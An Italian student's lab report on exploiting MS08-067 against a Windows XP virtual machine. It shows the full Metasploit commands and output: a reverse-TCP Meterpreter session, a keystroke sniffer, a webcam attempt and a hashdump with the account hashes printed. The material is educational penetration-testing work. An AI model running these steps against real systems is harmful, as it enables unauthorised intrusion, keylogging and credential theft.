

# Report Esercizio

W17-D2



---

**Redatto da Andrea Sciattella**

12/06/2024

## **TRACCIA**

---

### **Hacking MS08-067**

Esercizio Hacking Windows XP Sulla base della teoria, viene richiesto alla studente di ottenere una sessione di Meterpreter sul target Windows XP sfruttando con Metasploit la vulnerabilità MS08-067.

Una volta ottenuta la sessione, lo studente dovrà:

- Recuperare uno screenshot tramite la sessione Meterpreter Individuare la presenza o meno di Webcam sulla macchina Windows XP
- Accedere a webcam/fare dump della tastiera/provare altro

## SVOLGIMENTO HACKING MS08-067

---

Prepariamo prima il laboratorio virtuale con 2 macchine virtuali:

1. **Kali Linux** (IP: 192.168.1.111)
2. **Windows XP** (IP: 192.168.1.113)

- Verifichiamo la connettività tra le macchine con il comando **"Ping"**:

```
(kali㉿kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.111 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::6455:7a25:22e:cb30 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:21:b1:d0 txqueuelen 1000 (Ethernet)
    RX packets 41 bytes 6065 (5.9 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 30 bytes 3434 (3.3 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.0.3.15 netmask 255.255.255.0 broadcast 10.0.3.255
    inet6 fe80::c7d:bf90:235e:1909 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:88:9e:52 txqueuelen 1000 (Ethernet)
    RX packets 1 bytes 590 (590.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 25 bytes 3214 (3.1 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 4 bytes 240 (240.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 4 bytes 240 (240.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

(kali㉿kali)-[~]
$ ping 192.168.1.113 -c 3
PING 192.168.1.113 (192.168.1.113) 56(84) bytes of data.
64 bytes from 192.168.1.113: icmp_seq=1 ttl=128 time=0.735 ms
64 bytes from 192.168.1.113: icmp_seq=2 ttl=128 time=1.61 ms
64 bytes from 192.168.1.113: icmp_seq=3 ttl=128 time=1.79 ms

— 192.168.1.113 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2043ms
rtt min/avg/max/mdev = 0.735/1.380/1.792/0.461 ms
```

- Ora possiamo accedere al framework di metasploit per elaborare il nostro exploit tramite **"msfconsole"**.

- Attiviamo la ricerca del nostro exploit tramite il comando **"search"**, e andiamo a cercare la vulnerabilità **"MS08-067"**.

```
msf6 > search MS08-06
```

- Come risultato avremo le diverse opzioni e versioni della vulnerabilità di sistema:

```
34 \ target: Windows XP SP3 Chinese - Traditional / Taiwan (NX) . . .
35 \ target: Windows XP SP3 Chinese - Simplified (NX) . . .
36 \ target: Windows XP SP3 Chinese - Traditional (NX) . . .
37 \ target: Windows XP SP3 Czech (NX) . . .
38 \ target: Windows XP SP3 Danish (NX) . . .
39 \ target: Windows XP SP3 German (NX) . . .
40 \ target: Windows XP SP3 Greek (NX) . . .
41 \ target: Windows XP SP3 Spanish (NX) . . .
42 \ target: Windows XP SP3 Finnish (NX) . . .
43 \ target: Windows XP SP3 French (NX) . . .
44 \ target: Windows XP SP3 Hebrew (NX) . . .
45 \ target: Windows XP SP3 Hungarian (NX) . . .
46 \ target: Windows XP SP3 Italian (NX) . . .
47 \ target: Windows XP SP3 Japanese (NX) . . .
48 \ target: Windows XP SP3 Korean (NX) . . .
49 \ target: Windows XP SP3 Dutch (NX) . . .
50 \ target: Windows XP SP3 Norwegian (NX) . . .
51 \ target: Windows XP SP3 Polish (NX) . . .
```

- Noi andremo a selezionare il *modulo 46*, per la versione **"Windows XP SP3 Italian"** data la configurazione ITALIANA della ISO scaricata.

```
msf6 > use 46
[*] Additionally setting TARGET => Windows XP SP3 Italian (NX)
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
```

- In automatico si setterà il payload meterpreter di windows con una connessione reverse TCP.

```
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS          yes          The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
  RPORT      445            The SMB service port (TCP)
  SMBPIPE  BROWSER        yes          The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  EXITFUNC  thread          yes          Exit technique (Accepted: '', seh, thread, process, ...)
  LHOST     192.168.1.111   yes          The listen address (an interface may be specified)
  LPORT     4444            yes          The listen port

Exploit target:

  Id  Name
  --  --
  45  Windows XP SP3 Italian (NX)

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.1.113
rhosts => 192.168.1.113
```

- Usiamo il comando “**show options**” per verificare le condizioni richieste dal modulo, ed andiamo a settare il “**RHOST**” con l’indirizzo IP di Windows XP. La porta di default **445** è settata correttamente e non necessita di cambio.

```
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.1.111:4444
[*] 192.168.1.113:445 - Attempting to trigger the vulnerability...
[*] Sending stage (176198 bytes) to 192.168.1.113
[*] Meterpreter session 1 opened (192.168.1.111:4444 -> 192.168.1.113:1034) at 2024-06-14 09:40:57 -0400

meterpreter > █
```

- Eseguiamo il tutto con “**exploit**” e... fatto! La sessione Meterpreter è stata aperta correttamente, siamo dentro la macchina TARGET. Da qui in poi, andremo a raccogliere informazioni riguardanti l’host colpito, tramite i semplici comandi proposti dal *modulo Meterpreter*.

- Il primo comando che andremo ad utilizzare è **"Ifconfig"** per verificare le impostazioni di rete della macchina.

```
meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > ifconfig

Interface 1
-----
Name       : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU        : 1520
IPv4 Address : 127.0.0.1

Interface 2
-----
Name       : Scheda server Intel(R) PRO/1000 Gigabit - Miniport dell'Utilit  di pianificazione pacchetti
Hardware MAC : 08:00:27:38:39:6f
MTU        : 1500
IPv4 Address : 192.168.1.113
IPv4 Netmask : 255.255.255.0
```

- Ora proviamo il comando **"route"** per stampare a schermo le tabelle di routing di Windows.

```
meterpreter > route

IPv4 network routes
-----
```

Subnet	Netmask	Gateway	Metric	Interface
0.0.0.0	0.0.0.0	192.168.1.1	10	2
127.0.0.0	255.0.0.0	127.0.0.1	1	1
192.168.1.0	255.255.255.0	192.168.1.113	10	2
192.168.1.113	255.255.255.255	127.0.0.1	10	1
192.168.1.255	255.255.255.255	192.168.1.113	10	2
224.0.0.0	240.0.0.0	192.168.1.113	10	2
255.255.255.255	255.255.255.255	192.168.1.113	1	2

```
No IPv6 routes were found.
```

- Proviamo anche ad utilizzare il comando per stabilire una connessione con la webcam del dispositivo tramite **"webcam\_stream"**.

```
meterpreter > webcam_
webcam_chat  webcam_list  webcam_snap  webcam_stream
meterpreter > webcam_stream
[-] Target does not have a webcam
meterpreter > █
```

- Purtroppo al dispositivo non   connessa nessuna webcam, quindi il comando non   riuscito a stabilire alcuna connessione.

- Un altro comando molto utile, è "**hashdump**" che ci permette di raccogliere le password del sistema e degli utenti presenti nel dispositivo in forma di hash.

```
meterpreter > hashdump
Administrator:500:093d215dfa460b35aad3b435b51404ee:c6da79f31da5477d4bbe71c0fa610cf0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:ea045331191ce593c1a9327a4ff33a0e:2a2c7dcbec347b3ffe0f785ed9e03dd2:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:41852d349fe734b5e758030b2a004a99:::
```

In questo modo abbiamo mostrato quanto è facile prendere il controllo di un dispositivo con un sistema operativo retrodatato considerato "legacy" tramite un semplice exploit già settato sul framework di Metasploit.